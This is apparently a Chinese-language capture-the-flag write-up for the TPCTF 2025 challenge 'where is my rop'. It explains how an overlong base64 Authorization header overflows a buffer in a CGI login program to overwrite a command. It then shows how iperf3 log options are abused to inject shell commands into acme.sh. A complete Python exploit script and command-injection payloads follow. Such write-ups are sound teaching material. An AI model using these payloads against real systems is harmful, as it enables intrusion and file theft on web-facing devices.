TPCTF 2025 - where is my rop

TPCTF 2025 - where is my rop

RocketDev

very nice apache, love from cgi

本题由我和 dbgbgtf 共同完成

文件属性

属性
Arch amd64
RELRO Full
Canary on
NX on
PIE on
strip yes

解题思路

哪有什么rop,我只看到了命令注入。

分别分析了basementlogin.cgilogout.cgigen_enc,后两者代码很短, 看不出什么明显的漏洞。前三者都使用/tmp/tpctf.sock这个AF_UNIXsocket来进行进程间通信。 其中basement中有命令执行,我们可以控制一些参数,但是对大多数符号做了过滤, 几乎没有绕过的方式,并且在login.cgi中没有明显的控制方式。

然后 dbgbgtf 发现了login.cgi在处理Authorization头时,程序校验完base64字符串, 并没有检查其长度。随后程序将Basic 后的信息做base64解码并放到char auth_buf[0x200]上, 这一块数据位于bss上,并与cmd相邻。通过写入很长的base64的Authorization,可以覆盖cmd, 在sendcmd的时候可以实现发送任意指令。

在容器中调试

本题的环境比较复杂,不方便在本地调试,可以在启动容器后,在其中安装gdbserver, 然后编写一个前置的cgi来代理login,方便在login被拉起的时候用gdb连上去:

/var/www/cgi-bin/prelogin.cgi
1
2
#!/bin/sh
gdbserver 127.0.0.1:1337 login.cgi "$@"

在socket中传输的数据大约是按照0x80来切块的,而数据是从Authorization中按:分割拿到的, 我们可以轻松控制。对于冒号之间字段长度的检验,除了最后一个字段,其他字段均需小于0x80, 亦即最后一个字段可以无限长。

观察命令执行中所禁止的字符,包括\n & $ ; < > ^ |`, 但是空格等字符没有拦截,会不会内置的命令可以利用的呢?使用man查看pingtracerouteiperf3,其中iperf3的客户端有-T--logfile两个特殊选项, 第一个是在输出的所有行之前添加一个自己的title,第二个是将输出附加到某个文件中。 查看容器中的acme.sh,其中啥也没干,就很适合用来作为脚本的载体。通过先启动iperf3服务端, 然后用空格、引号等指导iperf3客户端向acme.sh中写入命令,就可以通过任意acme命令触发脚本。 比如说在acme.sh中写入cp /*flaG* /var/www/html/flag.html,执行后就可以将flag写入到html目录下, 这样访问/flag.html就可以拿到flag。

flag的名字是?

赛后交流发现本题出网,因此有的师傅通过iperf3的文件将flag传出去。当然我这个解法不出网, 应该更加符合出题人的想法。只是没想到flag名称相比给的附件变得有点多, 先用find / -maxdepth 1 -fprint /var/www/html/ls.html列出有哪些文件,通过curl获取:

一开始完全没想到g大写了,有点离谱... 才不是因为没有想到直接/*f*就行了

最后考虑怎样构造payload:由于我们修改了要执行的cmd,因此分支会相较我们的原动作有差异。 由于cmdLOGINREGISTER,最终会走 reset_password 的逻辑, 因此在我们的Authorization中需要3个:才能成功执行sendcmd

confusion

更多细节

压缩包中还有一些html和js文件,阅读后可以发现,如果在网页端尝试登录,会首先将密码使用gen_enc加密,再提交登录/注册请求。然而,这并不是强制的。由于没有提供注册接口,数据库又是空的,因此我们需要先手动发送http请求来注册。注册成功后如果登录,由于不存在manager.cgi,因此会显示404。

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
import requests
import base64
from enum import Enum
BLUE_TEXT = lambda x: f'\x1b[34m{x}\x1b[0m'

class Commands(Enum):
LOGIN = 1
UPDATE_PASSWD = 2
REGISTER = 3
NEW_SESSION = 4
DELETE_SESSION = 5
IPERF3_SERVER = 6
PING = 7
TRACEROUTE = 8
IPERF3_CLIENT = 9
ACME_APPLY = 10
ACME_RENEW = 11
ACME_REVOKE = 12

def payload(lo: int):
global sh, session_id
if lo:
host, port = '127.0.0.1', 80
else:
host, port = '61.147.171.105', 65519

def new_session() -> str:
url = f"http://{host}:{port}/cgi-bin/gen_enc"
response = requests.get(url)
return response.text[12:-14] # extract id from response

def arbcmd(arg1: str, arg2: str, cmd: Commands):
global session_id
# last field can be extremely long
auth = f"{arg1}:{arg2}:randstuff:".ljust(0x200).encode() + p8(cmd.value)
headers = {
'Authorization': f"Basic {base64.b64encode(auth).decode()}",
'Content-Type': 'application/x-www-form-urlencoded'
}
url = f"http://{host}:{port}/cgi-bin/login.cgi?reset_password"
response = requests.post(url, f"id={session_id}", headers=headers)
assert response.text # wait for data to come

session_id = new_session()
info(f"Fetch new session: {session_id}")

info(f"{BLUE_TEXT(Commands.IPERF3_SERVER.name)} Launching iperf3 server...")
arbcmd('127.0.0.1', '1337', Commands.IPERF3_SERVER)

info(f"{BLUE_TEXT(Commands.IPERF3_CLIENT.name)} Injecting command into acme.sh...")
# arbcmd('127.0.0.1', '1337 -T "find / -maxdepth 1 -fprint /var/www/html/ls.html #" --logfile /root/.acme.sh/acme.sh', Commands.IPERF3_CLIENT)
# why the flag name is so strange???
arbcmd('127.0.0.1', '1337 -T "cp /*flaG* /var/www/html/flag.html #" --logfile /root/.acme.sh/acme.sh', Commands.IPERF3_CLIENT)

info(f"{BLUE_TEXT(Commands.ACME_APPLY.name)} Triggering acme.sh...")
arbcmd(' ', ' ', Commands.ACME_APPLY)

url = f"http://{host}:{port}/flag.html"
response = requests.get(url)
success(f"Flag is: {response.text.strip()}")

flag

  • 标题: TPCTF 2025 - where is my rop
  • 作者: RocketDev
  • 创建于 : 2025-03-11 10:12:00
  • 更新于 : 2025-03-11 10:12:00
  • 链接: https://rocketma.dev/2025/03/11/whereIsRop/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
TPCTF 2025 - where is my rop